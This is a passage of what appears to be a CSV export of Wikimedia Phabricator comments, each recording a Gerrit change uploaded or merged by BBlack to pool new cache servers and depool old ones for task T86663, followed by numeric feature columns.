+[[https://gerrit.wikimedia.org/r/203330]]",,,1428707401,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+442255,Expand HTTP frontend clusters with new hardware,"Change 203329 merged by BBlack:
+T86663 5.7: repool cp3009
+
+[[https://gerrit.wikimedia.org/r/203329]]",,,1428705630,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+442247,Expand HTTP frontend clusters with new hardware,"Change 203328 merged by BBlack:
+T86663 5.7: switch cp3009 role
+
+[[https://gerrit.wikimedia.org/r/203328]]",,,1428705082,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+442242,Expand HTTP frontend clusters with new hardware,"Change 203327 merged by BBlack:
+T86663 5.7: pool 3048; depool 3009
+
+[[https://gerrit.wikimedia.org/r/203327]]",,,1428704690,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+442224,Expand HTTP frontend clusters with new hardware,"Change 203326 merged by BBlack:
+T86663 5.4: repool cp3006
+
+[[https://gerrit.wikimedia.org/r/203326]]",,,1428702956,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+442222,Expand HTTP frontend clusters with new hardware,"Change 203325 merged by BBlack:
+T86663 5.4: switch cp3006 role
+
+[[https://gerrit.wikimedia.org/r/203325]]",,,1428702665,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+442218,Expand HTTP frontend clusters with new hardware,"Change 203324 merged by BBlack:
+T86663 5.4: pool 3039; depool 3006
+
+[[https://gerrit.wikimedia.org/r/203324]]",,,1428702276,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+442197,Expand HTTP frontend clusters with new hardware,"Change 203385 merged by BBlack:
+T86663: depool amssq56-58
+
+[[https://gerrit.wikimedia.org/r/203385]]",,,1428700192,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+442085,Expand HTTP frontend clusters with new hardware,"Change 203385 had a related patch set uploaded (by BBlack):
+T86663: depool amssq56-58
+
+[[https://gerrit.wikimedia.org/r/203385]]
+",,,1428692026,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441839,Expand HTTP frontend clusters with new hardware,"Change 203332 had a related patch set uploaded (by BBlack):
+T86663 5.8: repool cp3010
+
+[[https://gerrit.wikimedia.org/r/203332]]
+",,,1428674115,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441838,Expand HTTP frontend clusters with new hardware,"Change 203331 had a related patch set uploaded (by BBlack):
+T86663 5.8: switch cp3010 role
+
+[[https://gerrit.wikimedia.org/r/203331]]
+",,,1428674114,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441837,Expand HTTP frontend clusters with new hardware,"Change 203330 had a related patch set uploaded (by BBlack):
+T86663 5.8: pool 3049; depool 3010,amssq58
+
+[[https://gerrit.wikimedia.org/r/203330]]
+",,,1428674112,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441836,Expand HTTP frontend clusters with new hardware,"Change 203329 had a related patch set uploaded (by BBlack):
+T86663 5.7: repool cp3009
+
+[[https://gerrit.wikimedia.org/r/203329]]
+",,,1428674111,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441835,Expand HTTP frontend clusters with new hardware,"Change 203328 had a related patch set uploaded (by BBlack):
+T86663 5.7: switch cp3009 role
+
+[[https://gerrit.wikimedia.org/r/203328]]
+",,,1428674110,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441834,Expand HTTP frontend clusters with new hardware,"Change 203327 had a related patch set uploaded (by BBlack):
+T86663 5.7: pool 3048; depool 3009,amssq57
+
+[[https://gerrit.wikimedia.org/r/203327]]
+",,,1428674109,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441833,Expand HTTP frontend clusters with new hardware,"Change 203326 had a related patch set uploaded (by BBlack):
+T86663 5.4: repool cp3006
+
+[[https://gerrit.wikimedia.org/r/203326]]
+",,,1428674108,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441832,Expand HTTP frontend clusters with new hardware,"Change 203325 had a related patch set uploaded (by BBlack):
+T86663 5.4: switch cp3006 role
+
+[[https://gerrit.wikimedia.org/r/203325]]
+",,,1428674107,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441831,Expand HTTP frontend clusters with new hardware,"Change 203324 had a related patch set uploaded (by BBlack):
+T86663 5.4: pool 3039; depool 3006,amssq56
+
+[[https://gerrit.wikimedia.org/r/203324]]
+",,,1428674106,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441816,Expand HTTP frontend clusters with new hardware,"Change 203322 merged by BBlack:
+T86663 5.3: repool cp3005
+
+[[https://gerrit.wikimedia.org/r/203322]]",,,1428672670,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+441815,Expand HTTP frontend clusters with new hardware,"Change 203322 had a related patch set uploaded (by BBlack):
+T86663 5.3: repool cp3005
+
+[[https://gerrit.wikimedia.org/r/203322]]
+",,,1428672655,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441811,Expand HTTP frontend clusters with new hardware,"Change 203319 merged by BBlack:
+T86663 5.3: switch cp3005 role
+
+[[https://gerrit.wikimedia.org/r/203319]]",,,1428672207,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+441810,Expand HTTP frontend clusters with new hardware,"Change 203319 had a related patch set uploaded (by BBlack):
+T86663 5.3: switch cp3005 role
+
+[[https://gerrit.wikimedia.org/r/203319]]
+",,,1428672190,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441806,Expand HTTP frontend clusters with new hardware,"Change 203316 merged by BBlack:
+T86663 5.3: pool 3038; depool 3005,amssq55
+
+[[https://gerrit.wikimedia.org/r/203316]]",,,1428671604,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+441805,Expand HTTP frontend clusters with new hardware,"Change 203316 had a related patch set uploaded (by BBlack):
+T86663 5.3: pool 3038; depool 3005,amssq55
+
+[[https://gerrit.wikimedia.org/r/203316]]
+",,,1428671549,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441604,Expand HTTP frontend clusters with new hardware,"Change 203276 merged by BBlack:
+T86663 5.6: repool cp3008
+
+[[https://gerrit.wikimedia.org/r/203276]]",,,1428630143,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+441603,Expand HTTP frontend clusters with new hardware,"Change 203276 had a related patch set uploaded (by BBlack):
+T86663 5.6: repool cp3008
+
+[[https://gerrit.wikimedia.org/r/203276]]
+",,,1428630128,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441602,Expand HTTP frontend clusters with new hardware,"Change 203274 merged by BBlack:
+T86663 5.6: switch cp3008 role
+
+[[https://gerrit.wikimedia.org/r/203274]]",,,1428629872,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+441601,Expand HTTP frontend clusters with new hardware,"Change 203274 had a related patch set uploaded (by BBlack):
+T86663 5.6: switch cp3008 role
+
+[[https://gerrit.wikimedia.org/r/203274]]
+",,,1428629816,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441598,Expand HTTP frontend clusters with new hardware,"Change 203271 merged by BBlack:
+T86663 5.6: pool 3047; depool 3008,amssq6[12]
+
+[[https://gerrit.wikimedia.org/r/203271]]",,,1428629416,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+441597,Expand HTTP frontend clusters with new hardware,"Change 203271 had a related patch set uploaded (by BBlack):
+T86663 5.6: pool 3047; depool 3008,amssq6[12]
+
+[[https://gerrit.wikimedia.org/r/203271]]
+",,,1428629401,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441593,Expand HTTP frontend clusters with new hardware,"Change 203270 merged by BBlack:
+T86663 5.2: repool cp3007
+
+[[https://gerrit.wikimedia.org/r/203270]]",,,1428628777,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+441592,Expand HTTP frontend clusters with new hardware,"Change 203270 had a related patch set uploaded (by BBlack):
+T86663 5.2: repool cp3007
+
+[[https://gerrit.wikimedia.org/r/203270]]
+",,,1428628745,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441587,Expand HTTP frontend clusters with new hardware,"Change 203267 merged by BBlack:
+T86663 5.5: switch cp3007 role
+
+[[https://gerrit.wikimedia.org/r/203267]]",,,1428627885,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+441584,Expand HTTP frontend clusters with new hardware,"Change 203267 had a related patch set uploaded (by BBlack):
+T86663 5.5: switch cp3007 role
+
+[[https://gerrit.wikimedia.org/r/203267]]
+",,,1428627526,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441577,Expand HTTP frontend clusters with new hardware,"Change 203264 merged by BBlack:
+T86663 5.5: pool 3046; depool 3007,amssq59-60
+
+[[https://gerrit.wikimedia.org/r/203264]]",,,1428625856,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+441576,Expand HTTP frontend clusters with new hardware,"Change 203264 had a related patch set uploaded (by BBlack):
+T86663 5.5: pool 3046; depool 3007,amssq59-60
+
+[[https://gerrit.wikimedia.org/r/203264]]
+",,,1428625837,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441529,Expand HTTP frontend clusters with new hardware,"Change 203240 merged by BBlack:
+T86663 5.2: repool cp3004
+
+[[https://gerrit.wikimedia.org/r/203240]]",,,1428618515,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+441527,Expand HTTP frontend clusters with new hardware,"Change 203240 had a related patch set uploaded (by BBlack):
+T86663 5.2: repool cp3004
+
+[[https://gerrit.wikimedia.org/r/203240]]
+",,,1428618487,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441524,Expand HTTP frontend clusters with new hardware,"Change 203239 merged by BBlack:
+T86663 5.2: switch cp3004 role
+
+[[https://gerrit.wikimedia.org/r/203239]]",,,1428618267,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+441523,Expand HTTP frontend clusters with new hardware,"Change 203239 had a related patch set uploaded (by BBlack):
+T86663 5.2: switch cp3004 role
+
+[[https://gerrit.wikimedia.org/r/203239]]
+",,,1428618237,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-n5e6xjsjt2nobdwr5oik,task_subcomment,,True,c3,1,False,,,-12,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+441520,Expand HTTP frontend clusters with new hardware,"Change 203238 merged by BBlack:
+T86663 5.1: pool 3037; depool 3004,amssq5[34]
+
